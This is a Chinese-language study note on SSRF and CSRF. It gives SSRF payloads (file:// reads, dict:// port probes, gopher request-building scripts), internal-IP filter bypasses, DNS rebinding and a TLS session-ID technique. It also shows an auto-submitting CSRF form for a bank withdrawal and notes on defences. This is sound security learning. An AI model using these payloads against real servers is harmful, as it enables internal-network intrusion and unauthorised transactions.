SSRF是什么

  1. SSRF(Server-Side Request Forgery)
    是指:攻击者能控制服务器去“主动发起请求”访问任意 URL,包括内网 本地服务 云元数据接口(是一个位于 固定内网 IP 的 HTTP 服务,用于向云主机提供 身份信息、实例信息、临时访问凭证。可以在里面找目录的关键信息)等。(怎么有点被迫代理的感觉)能做到探测内网服务(最常见)访问本地服务 协议扩展

哪种情况能遇到

文章里写了很多常见的漏洞场景 其实总结起来就是服务器会根据用户输入,主动去访问一个地址 / 主机 / URL 根本上说 对于后端函数的使用不当(好吧这样说不好)限制不当

  • file_get_contents():将整个文件或一个url所指向的文件读入一个字符串中。
  • readfile():输出一个文件的内容。
  • fsockopen():打开一个网络连接或者一个Unix 套接字连接。
  • curl_exec():初始化一个新的会话,返回一个cURL句柄,供curl_setopt(),curl_exec()和curl_close() 函数使用。
  • fopen():打开一个文件文件或者 URL。

常用漏洞

  1. 读取内网文件(file协议)将服务器上的本地文件及网站源码读取出来比如
    ?url=file:///var/www/html/flag.php
  2. 探测内网主机存活 原理也就是一个网段里面自己访问得通不
  3. 端口探测 类似的 看回显版本不(这个payload是这样的)dict协议
1
2
3
ssrf.php?url=dict://192.168.52.131:6379/info   // redis  
ssrf.php?url=dict://192.168.52.131:80/info     // http
ssrf.php?url=dict://192.168.52.130:22/info   // ssh
  1. Gopher协议(太强了 单开)支持发出GET、POST请求,我们可以先截获GET请求包和POST请求包,再构造成符合Gopher协议请求的payload进行SSRF利用
  • Gopher协议格式
1
2
3
4
5
URL: gopher://<host>:<port>/<gopher-path>_后接TCP数据流  

# 注意不要忘记后面那个下划线"_",下划线"_"后面才开始接TCP数据流,如果不加这个"_",那么服务端收到的消息将不是完整的,该字符可随意写。
gopher的默认端口是70
如果发起POST请求,回车换行需要使用`%0d%0a`来代替`%0a`,如果多个参数,参数之间的&也需要进行URL编码
  • 利用Gopher协议发送HTTP GET请求
    抓取或构造HTTP数据包 比如
1
2
GET /echo.php?whoami=Bunny HTTP/1.1  
Host: 47.xxx.xxx.72

脚本搬运一下

1
2
3
4
5
6
7
8
9
10
mport urllib.parse  
payload =\
"""GET /echo.php?whoami=Bunny HTTP/1.1
Host: 47.xxx.xxx.72
"""  
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.xxx.xxx.72:80/'+'_'+new
print(result)

注意事项
注意这几个问题:

  1. 问号(?)需要转码为URL编码,也就是%3f
  2. 回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
  3. 在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)
    gopher://47.xxx.xxx.72:80/_GET%20/echo.php%3Fwhoami%3DBunny%20HTTP/1.1%0D%0AHost%3A%2047.xxx.xxx.72%0D%0A生成之后
  • 利用Gopher协议发送HTTP POST请求
1
2
3
4
5
POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.72
Content-Type: application/x-www-form-urlencoded
Content-Length: 12
whoami=Bunny

注意:上面那四个HTTP头是POST请求必须的,即POST、Host、Content-Type和Content-Length。如果少了会报错的,而GET则不用。并且,特别要注意Content-Length应为字符串“whoami=Bunny”的长度。
脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
mport urllib.parse
payload =\
"""POST /echo.php HTTP/1.1
Host: 47.xxx.xxx.72
Content-Type: application/x-www-form-urlencoded
Content-Length: 12

whoami=Bunny
"""
# 注意后面一定要有回车,回车结尾表示http请求结束
tmp = urllib.parse.quote(payload)
new = tmp.replace('%0A','%0D%0A')
result = 'gopher://47.xxx.xxx.72:80/'+'_'+new
print(result)

相关绕过姿势

先写限制一般有几种
限制请求的端口只能为Web端口,只允许访问HTTP和HTTPS的请求。
限制域名只能为http://www.xxx.com
限制不能访问内网的IP,以防止对内网进行攻击。
屏蔽返回的详细信息。

  1. 对于- 限制域名只能为http://www.xxx.com的 采用HTTP基本身份认证的方式绕过
    www.baidu.com@127.0.0.1则会跳转的127.0.0.1 文章里面说谷歌浏览器是这样 但是我的火狐谷歌都可以。
  2. 进制转换 绕过内网限制 php脚本可以一键转换:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php  
$ip = '127.0.0.1';
$ip = explode('.',$ip);
$r = ($ip[0] << 24) | ($ip[1] << 16) | ($ip[2] << 8) | $ip[3] ;
if($r < 0) {
$r += 4294967296;
}
echo "十进制:";     // 2130706433
echo $r;
echo "八进制:";     // 0177.0.0.1
echo decoct($r);
echo "十六进制:";   // 0x7f.0.0.1
echo dechex($r);
?>

还有一些本地的替换

1
2
3
4
5
6
7
8
http://localhost/         # localhost就是代指127.0.0.1  
http://0/                 # 0在window下代表0.0.0.0,而在liunx下代表127.0.0.1
http://[0:0:0:0:0:ffff:127.0.0.1]/    # 在liunx下可用,window测试了下不行
http://[::]:80/           # 在liunx下可用,window测试了下不行
http://127。0。0。1/       # 用中文句号绕过
http://①②⑦.⓪.⓪.①
http://127.1/
http://127.00000.00000.001/ # 0的数量多一点少一点都没影响,最后还是会指向127.0.0.1
  1. 302跳转绕过 重定向 这一点很妙啊
  • 短地址跳转绕过 文章给的神奇网站已经没了 开始疯狂寻找 https://clck.ru/ 经过多次实验 这个生成的最快且免费 毛子做的

  • xip.io - 浏览器请求
    http://127.0.0.1.xip.io/flag.php

  • DNS 查询
    127.0.0.1.xip.io → 127.0.0.1

  • TCP 连接
    connect(127.0.0.1:80)

  • HTTP 请求(非常关键):

    GET /flag.php HTTP/1.1 Host: 127.0.0.1.xip.io

  1. DNS rebinding

    在网站 SSRF 漏洞处访问精心构造的域名。网站第一次解析域名,获取到的IP地址为A;
    经过网站后端服务器的检查,判定此IP为合法IP。
    网站获取URL对应的资源(在一次网络请求中,先根据域名服务器获取IP地址,再向IP地址请求资源),第二次解析域名。此时已经过了ttl的时间,解析记录缓存IP被删除。第二次解析到的域名为被修改后的 IP 即为内网IP B;
    攻击者访问到了内网IP。
    时间差对应DNS中的机制是TTL。TTL表示DNS里面域名和IP绑定关系的Cache在DNS上存活的最长时间。即请求了域名与iP的关系后,请求方会缓存这个关系,缓存保持的时间就是TTL。而缓存失效后就会删除,这时候如果重新访问域名指定的IP的话会重新建立匹配关系及cache。

在不同的语言,不同服务器中也存在差异

  • java中DNS请求成功的话默认缓存30s(字段为networkaddress.cache.ttl,默认情况下没有设置),失败的默认缓存10s。(缓存时间在 /Library/Java/JavaVirtualMachines/jdk /Contents/Home/jre/lib/security/java.security 中配置)
  • 在php中则默认没有缓存。
  • Linux默认不会进行DNS缓存,mac和windows会缓存(所以复现的时候不要在mac、windows上尝试)
  • 有些公共DNS服务器,比如114.114.114.114还是会把记录进行缓存,但是8.8.8.8是严格按照DNS协议去管理缓存的,如果设置TTL为0,则不会进行缓存。
    这种脚本网上可以找到很多 先挂上链
    https://security.tencent.com/index.php/blog/msg/179
  1. SSRF新型攻击手法—When TLS Hacks You
    理解了好久 自己的理解写了又删 还是搬下来原文了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
当客户端和服务器端初次建立TLS握手时(例如浏览器访问HTTPS网站),需要双方建立一个完整的TLS连接,该过程为了保证数据的传输具有完整性和机密性,需要做很多事情,如密钥协商出会话密钥,数字签名身份验证,消息验证码MAC等。这个过程是非常消耗资源的,而且当下一次客户端访问同一个HTTPS网站时,这个过程需要再重复一次,这无疑会造成大量的资源消耗。

 
为了提高性能,TLS/SSL提供了会话恢复的方式,允许客户端和服务端在某次关闭连接后,下一次客户端访问时恢复上一次的会话连接。会话恢复有两种,一种是基于session ID恢复,一种是使用Session Ticket的TLS扩展。这里主要介绍一下session ID。


每一个会话都由一个Session ID标识符标识,当建立一个TLS连接时,服务器会生成一个session ID给客户端,服务端保留会话记录,重新连接的客户端可以在clientHello消息期间提供此会话ID,并重新使用此前建立的会话密钥,而不需要再次经历秘钥协商等过程。TLS session id在RFC-5077中有着详细描述,基本所有数据都可以用作会话标志符,包括换行符。

 
Session ticket和session id作用类似,在客户端和服务端建立了一次完整的握手后,服务端会将本次的会话数据加密,但是session ticket将会话记录保存在客户端,而且与session id 32字节的大小不同,session ticket可提供65k的空间,这就能为我们的payload提供足够的空间。


在讲完这些细节之后,攻击的思路就会很清晰了,session id是服务器提供给客户端的,如果我们构建一个恶意的tls服务器,然后将我们的恶意session id发送给客户端,然后通过dns rebinding,将服务器域名的地址指向内网ip应用,例如memcache,客户端在恢复会话时就会带上恶意的session id去请求内网的memcache,从而攻击了内网应用。
大致流程如下:
1.利用服务器发起一个 HTTPS 请求。
2.请求时会发起一个 DNS 解析请求,DNS 服务器回应一个 TTL 为 0 的结果,指向攻击者的服务器。
3.攻击者服务器响应请求,并返回一个精心构造过的 SessionID,并延迟几秒后回应一个跳转。
4.客户端接收到这个回应之后会进行跳转,这次跳转时由于前面那一次 DNS 解析的结果为 TTL 0,则会再次发起一次解析请求,这次返回的结果则会指向 SSRF 攻击的目标(例如本地的memcache数据库)。
5.因为请求和跳转时的域名都没有变更,本次跳转会带着之前服务端返回的精心构造过的 SessionID 进行,发送到目标的那个端口上。
6.则达到目的,成功对目标端口发送构造过的数据,成功 SSRF。

只能说太巧妙了 后面寒假去试试复现的 文章链接在上面 to do

CSRF

放在一起的原因是 我觉得和SSRF非常非常相似了 攻击条件很类似于xss

什么是CSRF

CSRF,跨站请求伪造,是一种利用用户已登录状态,诱导浏览器在不知情的情况下向目标站点发送请求的攻击方式。身份用的是用户的 执行的行为是我想执行的

GET请求

<img src="https://xiexie/logout">
当受害者访问该页面时,浏览器会自动向这个url发起一次 GET 请求。
实际请求就是

1
2
3
GET /logout HTTP/1.1
Host: xiexie
Cookie: session=USER_SESSION

浏览器中有大量自动触发 GET 请求的标签

  • <img>
  • <iframe>
  • <script>
  • <link>
    在xss里面的学习也都挺熟悉的了 页面加载即执行

POST请求

1
2
3
4
5
6
7
8
9
<form action="http://bank.example/withdraw" method="POST">
<input type="hidden" name="account" value="xiaoming">
<input type="hidden" name="amount" value="10000">
<input type="hidden" name="for" value="hacker">
</form>

<script>
document.forms[0].submit();
</script>

<form> 是浏览器原生支持的请求构造机制

  • action → 目标接口
  • method → 请求方式
  • input → 请求参数
    hidden 参数的攻击意义 用户不可见
    document.forms[0].submit(); 按这个 form 的定义,立刻发一个 HTTP 请求
    也就是说这个
1
2
3
4
5
POST /withdraw HTTP/1.1
Host: bank.example
Cookie: session=USER_SESSION

account=xiaoming&amount=10000&for=hacker

钓鱼链接

这种其实还是挺有意思的 起码在同学恶搞里面出现的比较多…
如果说想要往出题的方向靠的话 那就做个傻傻的机器人去点所有可以点击的链接

1
2
3
<a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank"> 
重磅消息!!
<a/>

防御

  1. 关于同源策略 同源策略是浏览器的安全策略,不是服务器的
    只有“同源”的页面,才能互相读取数据;
    不同源的页面,默认只能“发请求”,不能“读响应”
    三个条件必须全部相同 才能叫同源 协议 域名 端口 ai写了个例子
    https://www.example.com:443这个与下面的三个都不同源
1
2
3
http://www.example.com:443
https://api.example.com:443
https://www.example.com:8443
  • 哪些行为被同源策略禁止
  1. 读取跨源响应内容 比如
1
2
fetch("https://bank.example/api/balance")
.then(r => r.text())

请求时能发出的 只是收不到响应
2. 访问跨域页面的 DOM(DOM在xss里面学习过概念 DOM 是浏览器“理解并正在使用的页面结构”)

  • 同源:可以访问 DOM 比如
1
2
3
4
5
6
7
<!-- parent.html -->
<iframe id="f" src="child.html"></iframe>

<script>
const iframe = document.getElementById("f");
console.log(iframe.contentWindow.document.body.innerHTML);
</script>

跨源会直接报错的
3. 跨源 Cookie 的 JS 访问 这个很好理解了
console.log(document.cookie["bank.example"]); 能这样直接读别人的cookie吗
这里贴一下文章里面的跨站请求带cookie的情况

  • 上面是关于外域的访问限制 那么想一下CSRF的关键就是直接用了用户的cookie 但其实没有去管cookie怎么来的?你是你吗?之类的逻辑 为了验证你是你自己 而不是哪个坏坏的黑客 文章里面提到的操作都挺妙的 如果我是程序猿的话 大概率只能想到个笨笨的验证码
  1. token验证
    比如我们可以加一个一次性生成的token,根据浏览器的同源策略这个token并不能被csrf获取让每个请求带上这个token并进行验证(这里的token可以放在http请求的参数里),这样的话,CSRF无法获取Token从而隔绝攻击,当然实战渗透测试的时候可能有些网站会有token但并无作用 我怎么感觉有一个这个就够了?(单说这一种CSRF)除了上面说的摆设token 或是生成方式比较简陋有规律的那种 其实很难再进攻了
  2. 双重cookie 就是请求中要带着cookie里的参数 这个刚开始看了文章我很疑惑 这个不是说了会自动取出cookie吗 为什么还能防御 也不需要攻击者知道cookie啊 感觉没什么作用 肤浅了..
    我以为是服务端直接拿出cookie拼在每个请求里面….. 明明是前端读取的 如果是攻击者的话 得到的cookie就不一样了 我在想什么 局限是下面
1
2
3
4
5
6
7
8
9
10
11
由于任何跨域都会导致前端无法获取Cookie中的字段(包括子域名之间),于是发生了如下情况:

如果用户访问的网站为`www.a.com`,而后端的api域名为`api.a.com`。那么在`www.a.com`下,前端拿不到`api.a.com`的Cookie,也就无法完成双重Cookie认证。

于是这个认证Cookie必须被种在`a.com`下,这样每个子域都可以访问。

任何一个子域都可以修改`a.com`下的Cookie。

某个子域名存在漏洞被XSS攻击(例如`upload.a.com`)。虽然这个子域下并没有什么值得窃取的信息。但攻击者修改了`a.com`下的Cookie。

攻击者可以直接使用自己配置的Cookie,对XSS中招的用户再向`www.a.com`下,发起CSRF攻击。

文章https://h0lm2pyudgf.feishu.cn/wiki/XyAXwiKkNi62bLk67GMcOeTYnOg